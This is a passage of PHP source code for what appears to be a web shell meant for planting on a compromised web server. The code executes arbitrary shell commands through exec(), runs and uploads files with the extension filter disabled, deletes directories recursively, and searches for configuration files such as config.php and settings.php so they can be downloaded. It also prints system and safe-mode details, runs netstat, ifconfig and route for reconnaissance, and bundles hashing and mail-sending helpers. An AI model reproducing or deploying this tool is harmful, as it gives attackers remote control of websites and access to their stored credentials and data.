	echo "<html>";
	includeHead();
	echo "<body bgcolor='#bbbbbb'>";
	
	includeBanner();
	includeMenuBar();

	
	?>
	  <div class="bodyDiv">
	  <form method="post">
			  <table id="db" >
			  
			 	 <tr><td id="db">Username:</td><td id="db"> <input type="Text" name="username" id="dbusername"></td></tr>
  			 	 <tr><td id="db">Password: </td><td id="db"><input type="Text" name="password" id="dbpassword"></td></tr>
	 	   		 <tr><td id="db"> </td><td id="db"><input type="submit" value="Login" name="submit"></td></tr>
  			 	 
  			 	 </table>
  			 	 </form>
			  </div>
			  <?php 
			  echo "</body></html>";
}
function isLogged()
{
	if(isset($_SESSION['username']) and $_SESSION['username']==='admin' )
		return true;
	return false;
}
function get_client_ip() {
	$ipaddress = '';
	if(isset($_SERVER['REMOTE_ADDR']) )
	{
			
		$ipaddress = $_SERVER['REMOTE_ADDR'];
			
			
	}
	else if (isset($_SERVER['HTTP_CLIENT_IP']))
		$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
	else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
		$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
	else if(isset($_SERVER['HTTP_X_FORWARDED']))
		$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
	else if(isset($_SERVER['HTTP_FORWARDED_FOR']) )
		$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
	else if(isset($_SERVER['HTTP_FORWARDED']))
		$ipaddress = $_SERVER['HTTP_FORWARDED'];


	if (strpos($ipaddress, ',') !== false) {
		$ips = explode(',', $ipaddress);
		$ipaddress = trim($ips[0]);
	}
	if ($ipaddress == '::1')
		$ipaddress = 'localhost';
	return $ipaddress;
}
function getServerURL() {
	$url = (isset($_SERVER["HTTPS"]) and $_SERVER["HTTPS"] == "on")?"https://":"http://";
	$url .= isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:""; // $_SERVER["HTTP_HOST"] is equivalent
	if (isset($_SERVER["SERVER_PORT"]) and $_SERVER["SERVER_PORT"] != "80") $url .= ":".$_SERVER["SERVER_PORT"];
	
	return $url;
}
function getCompleteURL() {
	return getServerURL().(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:"");
}

function total_delete($arg) {
	if (file_exists($arg)) {
		@chmod($arg,0755);
		if (is_dir($arg)) {
			$handle = opendir($arg);
			while($aux = readdir($handle)) {
				if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
			}
			@closedir($handle);
			rmdir($arg);
		} else unlink($arg);
	}
}

function total_copy($orig,$dest) {
	$ok = true;
	if (file_exists($orig)) {
		if (is_dir($orig)) {
			mkdir($dest,0755);
			$handle = opendir($orig);
			while(($aux = readdir($handle))&&($ok)) {
				if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
			}
			@closedir($handle);
		} else $ok = copy((string)$orig,(string)$dest);
	}
	return $ok;
}
function total_move($orig,$dest) {
	// Just why doesn't it has a MOVE alias?!
	return rename((string)$orig,(string)$dest);
}
function download(){
	global $current_dir,$filename;
	$file = $filename;
	if(file_exists($file)){
		$is_denied = false;
		/* foreach($download_ext_filter as $key=>$ext){
			if (eregi($ext,$filename)){
				$is_denied = true;
				break;
			}
		} */
		if (!$is_denied){
			$size = filesize($file);
			header("Content-Type: application/save");
			header("Content-Length: $size");
			header("Content-Disposition: attachment; filename=\"$filename\"");
			header("Content-Transfer-Encoding: binary");
			if ($fh = fopen("$file", "rb")){
				fpassthru($fh);
				fclose($fh);
			} else alert(et('ReadDenied').": ".$file);
		} else alert(et('ReadDenied').": ".$file);
	} else echo 'FileNotFound';
}
function execute_cmd(){
	global $cmd;

	//header("Content-type: text/plain");
	$output="";
	if(isset($_SESSION['current_dir']))
		chdir($_SESSION['current_dir']);
	if (strlen($cmd)){
		echo "\n\n# ".$cmd."\n";
		if(strpos($cmd, "cd ")===0)
		{
			$cmd = str_replace("cd ", "", $cmd);
			//echo "present directory: " . getcwd() . "\n" . $cmd . "\n";
			chdir($cmd);
			$_SESSION['current_dir']=format_path(getcwd());
			return getcwd();
		}
		if(preg_match("/.:/",$cmd)===1)
		{
			chdir($cmd);
			$_SESSION['current_dir']=format_path(getcwd());
			return getcwd();
		}
		if(strpos($cmd, "pwd")===0)
		{
			return getcwd() . "\n";
		}
		exec($cmd,$mat,$rtrn);
		$_SESSION['current_dir']=format_path(getcwd());
		echo $_SESSION['current_dir'];
		if (count($mat))
		//$output.= trim(implode("\n<br/>",$mat));
		{
			//echo "inside count";
			//$output.= html_encode( implode("\n",$mat));
			$output.=  implode("\n",$mat);
		}

		else
			$output.= "";
	} else
		$output.="NoCmd";
	return $output;
}


function execute_file(){
	global $current_dir,$filename;
	header("Content-type: text/plain");
	$file = $current_dir.$filename;
	if(file_exists($file)){
		echo "# ".$file."\n";
		exec($file,$mat);
		if (count($mat)) echo trim(implode("\n",$mat));
	} else alert(et('FileNotFound').": ".$file);
}
function save_upload($temp_file,$filename,$dir_dest) {
	global $upload_ext_filter;
	$filename = remove_special_chars($filename);
	$file = $dir_dest.$filename;
	$filesize = filesize($temp_file);
	$is_denied = false;

	if (!$is_denied){
		if (!check_limit($filesize)){
			if (file_exists($file)){
				if (unlink($file)){
					if (copy($temp_file,$file)){
						@chmod($file,0755);
						$out = 6;
					} else $out = 2;
				} else $out = 5;
			} else {
				if (copy($temp_file,$file)){
					@chmod($file,0755);
					$out = 1;
				} else $out = 2;
			}
		} else $out = 3;
	} else $out = 4;
	return $out;
}
function zip_extract(){ 	// extract $cmd_arg="test.zip";
	global $cmd_arg,$current_dir,$islinux;
	$zip = zip_open($current_dir.$cmd_arg);
	//echo $current_dir.$cmd_arg;
	if ($zip) {
			
		while ($zip_entry = zip_read($zip)) {
			if (zip_entry_filesize($zip_entry)) {
				$complete_path = $path.dirname(zip_entry_name($zip_entry));
				$complete_name = $path.zip_entry_name($zip_entry);
				if(!file_exists($complete_path)) {
					$tmp = '';
					foreach(explode('/',$complete_path) AS $k) {
						$tmp .= $k.'/';
						if(!file_exists($tmp)) {
							@mkdir($current_dir.$tmp, 0755);
						}
					}
				}
				if (zip_entry_open($zip, $zip_entry, "r")) {
					if ($fd = fopen($current_dir.$complete_name, 'w')){
						fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
						fclose($fd);
					} else echo "fopen($current_dir.$complete_name) error<br>";
					zip_entry_close($zip_entry);
				} else echo "zip_entry_open($zip,$zip_entry) error<br>";
			}
		}
		zip_close($zip);
	}
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function html_encode($str){
	global $charSet;
	$str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&amp;', '&lt;', '&gt;', '&quot;'), $str);  // Bypass PHP to allow any charset!!
	$str = htmlentities($str, ENT_QUOTES, $charSet, false);
	return $str;
}
//echo rep(5,3); 33333
function rep($x,$y){
	if ($x) {
		$aux = "";
		for ($a=1;$a<=$x;$a++) $aux .= $y;
		return $aux;
	} else return "";
}
//echo str_zero("123123","2");
function str_zero($arg1,$arg2){
	if (strstr($arg1,"-") == false){
		$aux = intval($arg2) - strlen($arg1);
		if ($aux)
			return rep($aux,"0").$arg1;
		else
			return $arg1;
	} else {
		return "[$arg1]";
	}
}
//echo replace_double("123", "123123"); 123
function replace_double($sub,$str){
	$out=str_replace($sub.$sub,$sub,$str);
	while ( strlen($out) != strlen($str) ){
		$str=$out;
		$out=str_replace($sub.$sub,$sub,$str);
	}
	return $out;
}
//echo remove_special_chars("test�������444"); testAAAAAAC444
function remove_special_chars($str){
	$str = trim($str);
	$str = strtr($str,"��������������������������������������������������������������!@#%&*()[]{}+=?",
			"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
	$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
	return $str;
}
//echo format_path("c:\\test\\test.php"); C:/test/test.php/
function format_path($str){
	global $islinux;
	$str = trim($str);
	$str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
	$done = false;
	while (!$done) {
		$str2 = str_replace("//","/",$str);
		if (strlen($str) == strlen($str2)) $done = true;
		else $str = $str2;
	}
	$tam = strlen($str);
	if ($tam){
		$last_char = $tam - 1;
		if ($str[$last_char] != "/") $str .= "/";
		if (!$islinux) $str = ucfirst($str);
	}
	return $str;
}

function array_csort() {
	$args = func_get_args();
	$marray = array_shift($args);
	$msortline = "return(array_multisort(";
	foreach ($args as $arg) {
		$i++;
		if (is_string($arg)) {
			foreach ($marray as $row) {
				$sortarr[$i][] = $row[$arg];
			}
		} else {
			$sortarr[$i] = $arg;
		}
		$msortline .= "\$sortarr[".$i."],";
	}
	$msortline .= "\$marray));";
	eval($msortline);
	return $marray;
}
//echo show_perms(octdec("2755")); urwxr
function show_perms( $P ) {
	$sP = "";
	if($P & 0x1000) $sP .= 'p';            // FIFO pipe
	elseif($P & 0x2000) $sP .= 'c';        // Character special
	elseif($P & 0x4000) $sP .= 'd';        // Directory
	elseif($P & 0x6000) $sP .= 'b';        // Block special
	elseif($P & 0x8000) $sP .= '&minus;';  // Regular
	elseif($P & 0xA000) $sP .= 'l';        // Symbolic Link
	elseif($P & 0xC000) $sP .= 's';        // Socket
	else $sP .= 'u';                       // UNKNOWN
	// owner - group - others
	$sP .= (($P & 0x0100) ? 'r' : '&minus;') . (($P & 0x0080) ? 'w' : '&minus;') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '&minus;'));
	$sP .= (($P & 0x0020) ? 'r' : '&minus;') . (($P & 0x0010) ? 'w' : '&minus;') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '&minus;'));
	$sP .= (($P & 0x0004) ? 'r' : '&minus;') . (($P & 0x0002) ? 'w' : '&minus;') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '&minus;'));
	return $sP;
}
//echo format_size(100000000); 95.37 Mb
function format_size($arg) {
	if ($arg>0){
		$j = 0;
		$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
		while ($arg >= pow(1024,$j)) ++$j;
		return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
	} else return "0 bytes";
}
//	echo get_size("test.zip"); 3.82 Kb
function get_size($file) {
	return format_size(filesize($file));
}
function check_limit($new_filesize=0) {
	global $fm_current_root;
	global $quota_mb;
	if($quota_mb){
		$total = total_size($fm_current_root);
		if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
	}
	return false;
}

function get_user($arg) {
	global $mat_passwd;
	$aux = "x:".trim($arg).":";
	for($x=0;$x<count($mat_passwd);$x++){
		if (strstr($mat_passwd[$x],$aux)){
			$mat = explode(":",$mat_passwd[$x]);
			return $mat[0];
		}
	}
	return $arg;
}
function get_group($arg) {
	global $mat_group;
	$aux = "x:".trim($arg).":";
	for($x=0;$x<count($mat_group);$x++){
		if (strstr($mat_group[$x],$aux)){
			$mat = explode(":",$mat_group[$x]);
			return $mat[0];
		}
	}
	return $arg;
}
//echo uppercase("test"); TEST
function uppercase($str){
	global $charset;
	return mb_strtoupper($str, $charset);
}
//echo lowercase("tESt"); test
function lowercase($str){
	global $charset;
	return mb_strtolower($str, $charset);
}
function n()
{
	return "<br>";
}
function banner()
{
	global $ip;
	echo "[ System : ".php_uname() . "] <br>";
	echo "[ Server : " . $_SERVER['SERVER_SOFTWARE'] ."] <br>" ;
	
	// Check for safe mode
	if( ini_get('safe_mode') ){
		echo ' [Safe mode = on] ' ;
	}else{
		echo ' [Safe mode = off (unsafe)] ';
	}
	echo " [ User: " . get_current_user() ." ] ";
	echo " [Server: " . (isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:"") . "] ";
	echo " [Client: ". $ip ."]";
	//print_r($_SERVER);
	//print_r($_SERVER);
}
function compressFolder($rootPath)
{
	chdir($_SESSION['current_dir']);
//	$rootPath = realpath();
	if($rootPath[strlen($rootPath)-1] === '/' or $rootPath[strlen($rootPath)-1] === '\\')
		$rootPath = substr($rootPath,0,strlen($rootPath)-1);
	//echo $rootPath;
	// Initialize archive object
	
	$zip = new ZipArchive();
	$zip->open($rootPath.".zip", ZipArchive::CREATE | ZipArchive::OVERWRITE);
	
	// Create recursive directory iterator
	/** @var SplFileInfo[] $files */
	$files = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator( $rootPath),
			RecursiveIteratorIterator::LEAVES_ONLY
	);
	
	foreach ($files as $name => $file)
	{
		// Skip directories (they would be added automatically)
		if (!$file->isDir())
		{
			// Get real and relative path for current file
			$filePath = $file->getRealPath();
			$relativePath = substr($filePath, strlen($rootPath) + 1);
	
			// Add current file to archive
			//$zip->addFile($filePath, $relativePath);
			$zip->addFile($filePath, $name);
				
		}
	}
	
	// Zip archive will be created only after closing object
	$zip->close();
	return $rootPath.".zip";
}
function compressFileFolder($files)
{
	chdir($_SESSION['current_dir']);
	// = array('New folder (3)', '404 shell.php', 'asim.html');
	$zipname = 'downloadCompressed.zip';
	$zip = new ZipArchive;
	$zip->open($zipname, ZipArchive::CREATE | ZipArchive::OVERWRITE);
	
	foreach ($files as $file) {
		if(!is_dir($file))
		{
			$zip->addFile($file);
		}
		else 
		{
			$rootPath=$file;
			$FolderFiles = new RecursiveIteratorIterator(
					new RecursiveDirectoryIterator( $rootPath),
					RecursiveIteratorIterator::LEAVES_ONLY
			);
			
			foreach ($FolderFiles as $name => $FolderFile)
			{
				// Skip directories (they would be added automatically)
				if (!$FolderFile->isDir())
				{
					// Get real and relative path for current file
					$filePath = $FolderFile->getRealPath();
					//$relativePath = substr($filePath, strlen($rootPath) + 1);
			
					// Add current file to archive
					//$zip->addFile($filePath, $relativePath);
					$zip->addFile($filePath, $rootPath.'\\'.$name);
			
				}
			}
		}
	}
	$zip->close();
	return $zipname;
}
function displayChangePassword()
{
	global $rpath;
	?>
	<div class="bodyDiv">
	<form method="post" >
	<table id='db' >
	<tr><td >Old Username:</td>
	<td id="db"> <input type="Text" name="oldusername" id="dbusername"></td></tr>
	<tr><td >Old Password: </td><td id="db">
	<input type="Text" name="oldpassword" id="dbpassword"></td></tr>
	
	<tr><td >New Username:</td><td id="db"> 
	<input type="Text" name="newusername" id="dbusername"></td></tr>
	<tr><td >New Password: </td><td id="db">
	<input type="Text" name="newpassword" id="dbpassword"></td></tr>
	<tr><td > </td><td ><input type="submit"  value="Chang Password" name="submit"></td></tr>
	
	</table>
	</form>
	</div>
	<?php 
}
function processChangePassword()
{
	
	global $oldusername,$oldpassword,$newusername,$newpassword;
	
	
	$pattern1 = "/\\\$u = \"".$oldusername."\";/";
	$pattern2 = "/\\\$p = \"".md5($oldpassword)."\";/";
	$pattern3 = "\$u = \"".$newusername."\";";
	$pattern4 = "\$p = \"".md5($newpassword)."\";";
	$data = file_get_contents($_SERVER['SCRIPT_FILENAME']);
	
	if(preg_match($pattern1,$data)===1 and preg_match($pattern2,$data)===1)
	{
		//$pattern1 = "if(\$username===\"".$newusername."\" and md5(\$password)==='".md5($newpassword)."')";
		
		$result1 = preg_replace($pattern1,$pattern3,$data);
		$result2 = preg_replace($pattern2,$pattern4,$result1);
		file_put_contents($_SERVER['SCRIPT_FILENAME'],$result2);
		echo "<div class='bodydiv'>Username and Password Changed Successfully</div>";
	}
	
	else 
		echo "<div class='bodydiv'>Wrong Username:Password</div>";
}
function displayHeaders()
{
	echo "<div class='bodydiv'>";
	foreach (getallheaders() as $name => $value) {
		echo "$name: $value<br>";
	}
	echo "</div>";
}
function findConfig()
{
	global $rpath;
	chdir($_SESSION['current_dir']);
	$filenames = array("config.php","conf_global.php","Settings.php",
			"configuration.php","settings.php","configure.php"
	);

	// Create recursive directory iterator
	/** @var SplFileInfo[] $files */
	$files = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator( getcwd()),
			RecursiveIteratorIterator::LEAVES_ONLY
	);

	foreach ($files as $name => $file)
	{
		$filePath = $file->getRealPath();
		foreach ($filenames as $filename)
		{
			if (!$file->isDir() and strpos($name,$filename)!==false)
			{
				echo "<a href='{$rpath}?vf={$filePath}&dlfile=1'>".$filePath . "</a><br>";
			}
		}
	}
	echo "<br>----------------------More Config Found-------------------<br>";
	
	foreach ($files as $name => $file)
	{
		$filePath = $file->getRealPath();
		if (!$file->isDir() and strpos($name,"config")!==false)
		{
			echo "<a href='{$rpath}?vf={$filePath}&dlfile=1'>".$filePath . "</a><br>";
		}
	}
}
function displayCommands()
{
	global $rpath,$islinux;
	?>
	<div class='bodydiv'>
	<div id="menu">
	<a class="menu" href="<?php echo $rpath?>?command=1">Netstat</a>
	<a class="menu" href="<?php echo $rpath?>?command=2">Ipconfig</a>
	<a class="menu" href="<?php echo $rpath?>?command=3">Route</a>
	</div><pre>
	<textarea rows="25" readonly>
	<?php 
	if(isset($_SESSION['command']))
	{
		if($_SESSION['command']==1)
		{
			if($islinux)
			{
				exec("netstat -ntulp",$mat,$rtrn);
			}
			else{
				exec("netstat -ano",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		else if($_SESSION['command']==2)
		{
			if($islinux)
			{
				exec("ifconfig",$mat,$rtrn);
			}
			else{
				exec("ipconfig /all",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		else if($_SESSION['command']==3)
		{
			if($islinux)
			{
				exec("route",$mat,$rtrn);
			}
			else{
				exec("route print -4",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		
	}
	echo "</textarea></pre></div>";
}
function displayHash()
{
	global $rpath,$hpass,$hsalt;
	if(!isset($hpass))
	{
		$hpass="admin";
	}
	?>
	<div class="bodyDiv">
	<form method="post" >
	Password: <input name='hpass' > Salt: <input name='hsalt' > <input type='submit' value='hash'>
	</form>
	</div>
	<?php 
	echo "<div class='bodyDiv'>";
	echo "Password : ".$hpass."<br>";
	echo "MD5 : " . md5($hpass) . "<br>";
	$wp_hasher = new PasswordHash(8, TRUE);
	echo "Wordpress : " . $wp_hasher->HashPassword('123') . "<br>";
	echo "<div>";
}
class PasswordHash {
	var $itoa64;
	var $iteration_count_log2;
	var $portable_hashes;
	var $random_state;

	function PasswordHash($iteration_count_log2, $portable_hashes)
	{
		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

		if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
			$iteration_count_log2 = 8;
		$this->iteration_count_log2 = $iteration_count_log2;

		$this->portable_hashes = $portable_hashes;

		$this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons
	}

	function get_random_bytes($count)
	{
		$output = '';
		if ( @is_readable('/dev/urandom') &&
				($fh = @fopen('/dev/urandom', 'rb'))) {
					$output = fread($fh, $count);
					fclose($fh);
				}

				if (strlen($output) < $count) {
					$output = '';
					for ($i = 0; $i < $count; $i += 16) {
						$this->random_state =
						md5(microtime() . $this->random_state);
						$output .=
						pack('H*', md5($this->random_state));
					}
					$output = substr($output, 0, $count);
				}

				return $output;
	}

	function encode64($input, $count)
	{
		$output = '';
		$i = 0;
		do {
			$value = ord($input[$i++]);
			$output .= $this->itoa64[$value & 0x3f];
			if ($i < $count)
				$value |= ord($input[$i]) << 8;
			$output .= $this->itoa64[($value >> 6) & 0x3f];
			if ($i++ >= $count)
				break;
			if ($i < $count)
				$value |= ord($input[$i]) << 16;
			$output .= $this->itoa64[($value >> 12) & 0x3f];
			if ($i++ >= $count)
				break;
			$output .= $this->itoa64[($value >> 18) & 0x3f];
		} while ($i < $count);

		return $output;
	}

	function gensalt_private($input)
	{
		$output = '$P$';
		$output .= $this->itoa64[min($this->iteration_count_log2 +
				((PHP_VERSION >= '5') ? 5 : 3), 30)];
		$output .= $this->encode64($input, 6);

		return $output;
	}

	function crypt_private($password, $setting)
	{
		$output = '*0';
		if (substr($setting, 0, 2) == $output)
			$output = '*1';

		$id = substr($setting, 0, 3);
		# We use "$P$", phpBB3 uses "$H$" for the same thing
		if ($id != '$P$' && $id != '$H$')
			return $output;

			$count_log2 = strpos($this->itoa64, $setting[3]);
			if ($count_log2 < 7 || $count_log2 > 30)
				return $output;

			$count = 1 << $count_log2;

			$salt = substr($setting, 4, 8);
			if (strlen($salt) != 8)
				return $output;

			# We're kind of forced to use MD5 here since it's the only
			# cryptographic primitive available in all versions of PHP
			# currently in use.  To implement our own low-level crypto
			# in PHP would result in much worse performance and
			# consequently in lower iteration counts and hashes that are
			# quicker to crack (by non-PHP code).
			if (PHP_VERSION >= '5') {
				$hash = md5($salt . $password, TRUE);
				do {
					$hash = md5($hash . $password, TRUE);
				} while (--$count);
			} else {
				$hash = pack('H*', md5($salt . $password));
				do {
					$hash = pack('H*', md5($hash . $password));
				} while (--$count);
			}

			$output = substr($setting, 0, 12);
			$output .= $this->encode64($hash, 16);

			return $output;
	}

	function gensalt_extended($input)
	{
		$count_log2 = min($this->iteration_count_log2 + 8, 24);
		# This should be odd to not reveal weak DES keys, and the
		# maximum valid value is (2**24 - 1) which is odd anyway.
		$count = (1 << $count_log2) - 1;

		$output = '_';
		$output .= $this->itoa64[$count & 0x3f];
		$output .= $this->itoa64[($count >> 6) & 0x3f];
		$output .= $this->itoa64[($count >> 12) & 0x3f];
		$output .= $this->itoa64[($count >> 18) & 0x3f];

		$output .= $this->encode64($input, 3);

		return $output;
	}

	function gensalt_blowfish($input)
	{
		# This one needs to use a different order of characters and a
		# different encoding scheme from the one in encode64() above.
		# We care because the last character in our encoded string will
		# only represent 2 bits.  While two known implementations of
		# bcrypt will happily accept and correct a salt string which
		# has the 4 unused bits set to non-zero, we do not want to take
		# chances and we also do not want to waste an additional byte
		# of entropy.
		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

		$output = '$2a$';
		$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
		$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
		$output .= '$';

		$i = 0;
		do {
			$c1 = ord($input[$i++]);
			$output .= $itoa64[$c1 >> 2];
			$c1 = ($c1 & 0x03) << 4;
			if ($i >= 16) {
				$output .= $itoa64[$c1];
				break;
			}

			$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 4;
			$output .= $itoa64[$c1];
			$c1 = ($c2 & 0x0f) << 2;

			$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 6;
			$output .= $itoa64[$c1];
			$output .= $itoa64[$c2 & 0x3f];
		} while (1);

		return $output;
	}

	function HashPassword($password)
	{
		if ( strlen( $password ) > 4096 ) {
			return '*';
		}

		$random = '';

		if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
			$random = $this->get_random_bytes(16);
			$hash =
			crypt($password, $this->gensalt_blowfish($random));
			if (strlen($hash) == 60)
				return $hash;
		}

		if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) {
			if (strlen($random) < 3)
				$random = $this->get_random_bytes(3);
			$hash =
			crypt($password, $this->gensalt_extended($random));
			if (strlen($hash) == 20)
				return $hash;
		}

		if (strlen($random) < 6)
			$random = $this->get_random_bytes(6);
		$hash =
		$this->crypt_private($password,
				$this->gensalt_private($random));
		if (strlen($hash) == 34)
			return $hash;

		# Returning '*' on error is safe here, but would _not_ be safe
		# in a crypt(3)-like function used _both_ for generating new
		# hashes and for validating passwords against existing hashes.
		return '*';
	}

	function CheckPassword($password, $stored_hash)
	{
		if ( strlen( $password ) > 4096 ) {
			return false;
		}

		$hash = $this->crypt_private($password, $stored_hash);
		if ($hash[0] == '*')
			$hash = crypt($password, $stored_hash);

		return $hash === $stored_hash;
	}
}
class SimpleMail
{
	protected $_wrap = 78;
	protected $_to = array();
	protected $_subject;
	protected $_message;
	protected $_headers = array();
	protected $_params;
	protected $_attachments = array();
	protected $_uid;
	public function __construct()
	{
		$this->reset();
	}
	public function reset()
	{
		$this->_to = array();
		$this->_headers = array();
		$this->_subject = null;
		$this->_message = null;
		$this->_wrap = 78;
		$this->_params = null;
		$this->_attachments = array();
		$this->_uid = $this->getUniqueId();
		return $this;
	}
	public function setTo($email, $name)
	{
		$this->_to[] = $this->formatHeader((string) $email, (string) $name);
		return $this;
	}
	public function getTo()
	{
		return $this->_to;
	}
	public function setSubject($subject)
	{
		$this->_subject = $this->encodeUtf8(
				$this->filterOther((string) $subject)
		);
		return $this;
	}
	public function getSubject()
	{
		return $this->_subject;
	}
	public function setMessage($message)
	{
		$this->_message = str_replace("\n.", "\n..", (string) $message);
		return $this;
	}
	public function getMessage()
	{
		return $this->_message;
	}
	public function addAttachment($path, $filename = null)
	{
		$filename = empty($filename) ? basename($path) : $filename;
		$this->_attachments[] = array(
				'path' => $path,
				'file' => $filename,
				'data' => $this->getAttachmentData($path)
		);
		return $this;
	}
	public function getAttachmentData($path)
	{
		$filesize = filesize($path);
		$handle = fopen($path, "r");
		$attachment = fread($handle, $filesize);
		fclose($handle);
		return chunk_split(base64_encode($attachment));
	}
	public function setFrom($email, $name)
	{
		$this->addMailHeader('From', (string) $email, (string) $name);
		return $this;
	}
	public function addMailHeader($header, $email = null, $name = null)
	{
		$address = $this->formatHeader((string) $email, (string) $name);
		$this->_headers[] = sprintf('%s: %s', (string) $header, $address);
		return $this;
	}
	public function addGenericHeader($header, $value)
	{
		$this->_headers[] = sprintf(
				'%s: %s',
				(string) $header,
				(string) $value
		);
		return $this;
	}
	public function getHeaders()
	{
		return $this->_headers;
	}
	public function setParameters($additionalParameters)
	{
		$this->_params = (string) $additionalParameters;
		return $this;
	}
	public function getParameters()
	{
		return $this->_params;
	}
	public function setWrap($wrap = 78)
	{
		$wrap = (int) $wrap;
		if ($wrap < 1) {
			$wrap = 78;
		}
		$this->_wrap = $wrap;
		return $this;
	}
	public function getWrap()
	{
		return $this->_wrap;
	}
	public function hasAttachments()
	{
		return !empty($this->_attachments);
	}
	public function assembleAttachmentHeaders()
	{
		$head = array();
		$head[] = "MIME-Version: 1.0";
		$head[] = "Content-Type: multipart/mixed; boundary=\"{$this->_uid}\"";
		return join(PHP_EOL, $head);
	}
	public function assembleAttachmentBody()
	{
		$body = array();
		$body[] = "This is a multi-part message in MIME format.";
		$body[] = "--{$this->_uid}";
		$body[] = "Content-type:text/html; charset=\"utf-8\"";
		$body[] = "Content-Transfer-Encoding: 7bit";
		$body[] = "";
		$body[] = $this->_message;
		$body[] = "";
		$body[] = "--{$this->_uid}";
		foreach ($this->_attachments as $attachment) {
			$body[] = $this->getAttachmentMimeTemplate($attachment);
		}
		return implode(PHP_EOL, $body);
	}
	public function getAttachmentMimeTemplate($attachment)
	{
		$file = $attachment['file'];
		$data = $attachment['data'];
		$head = array();
		$head[] = "Content-Type: application/octet-stream; name=\"{$file}\"";
		$head[] = "Content-Transfer-Encoding: base64";
		$head[] = "Content-Disposition: attachment; filename=\"{$file}\"";
		$head[] = "";
		$head[] = $data;
		$head[] = "";
		$head[] = "--{$this->_uid}";
		return implode(PHP_EOL, $head);
	}
	public function send()
	{
		$to = $this->getToForSend();
		$headers = $this->getHeadersForSend();
		if (empty($to)) {
			throw new RuntimeException(
					'Unable to send, no To address has been set.'
			);
		}
		if ($this->hasAttachments()) {
			$message  = $this->assembleAttachmentBody();
			$headers .= PHP_EOL . $this->assembleAttachmentHeaders();
		} else {
			$message = $this->getWrapMessage();
		}
		return mail($to, $this->_subject, $message, $headers, $this->_params);
	}
	public function debug()
	{
		return '<pre>' . print_r($this, true) . '</pre>';
	}
	public function __toString()
	{
		return print_r($this, true);
	}
	public function formatHeader($email, $name = null)
	{
		$email = $this->filterEmail($email);
		if (empty($name)) {
			return $email;
		}
		$name = $this->encodeUtf8($this->filterName($name));
		return sprintf('"%s" <%s>', $name, $email);
	}
	public function encodeUtf8($value)
	{
		$value = trim($value);
		if (preg_match('/(\s)/', $value)) {
			return $this->encodeUtf8Words($value);
		}
		return $this->encodeUtf8Word($value);
	}
	public function encodeUtf8Word($value)
	{
		return sprintf('=?UTF-8?B?%s?=', base64_encode($value));
	}
	public function encodeUtf8Words($value)
	{
		$words = explode(' ', $value);
		$encoded = array();
		foreach ($words as $word) {
			$encoded[] = $this->encodeUtf8Word($word);
		}
		return join($this->encodeUtf8Word(' '), $encoded);
	}
	public function filterEmail($email)
	{
		$rule = array(
				"\r" => '',
				"\n" => '',
				"\t" => '',
				'"'  => '',
				','  => '',
				'<'  => '',
				'>'  => ''
		);
		$email = strtr($email, $rule);
		$email = filter_var($email, FILTER_SANITIZE_EMAIL);
		return $email;
	}
	public function filterName($name)
	{
		$rule = array(
				"\r" => '',
				"\n" => '',
				"\t" => '',
				'"'  => "'",
				'<'  => '[',
				'>'  => ']',
		);
		$filtered = filter_var(
				$name,
				FILTER_SANITIZE_STRING,
				FILTER_FLAG_NO_ENCODE_QUOTES
		);
		return trim(strtr($filtered, $rule));
	}
	public function filterOther($data)
	{
		return filter_var($data, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW);
	}
	public function getHeadersForSend()
	{
		if (empty($this->_headers)) {
			return '';
		}
		return join(PHP_EOL, $this->_headers);
	}
	public function getToForSend()
	{
		if (empty($this->_to)) {
			return '';
		}
		return join(', ', $this->_to);
	}
	public function getUniqueId()
	{
		return md5(uniqid(time()));
	}
	public function getWrapMessage()
	{
		return wordwrap($this->_message, $this->_wrap);
	}
}
function processPaste()
{
	global $islinux;
	if( isset($_SESSION['lastAction']) and $_SESSION['lastAction']=='Copy')
	{
		foreach ($_SESSION['Copy'] as $item)
		{
			if($islinux)
			{
				total_copy($_SESSION['CopyPath'] . "/" . $item ,$_SESSION['current_dir'] . "/" . $item);
			}
			else 
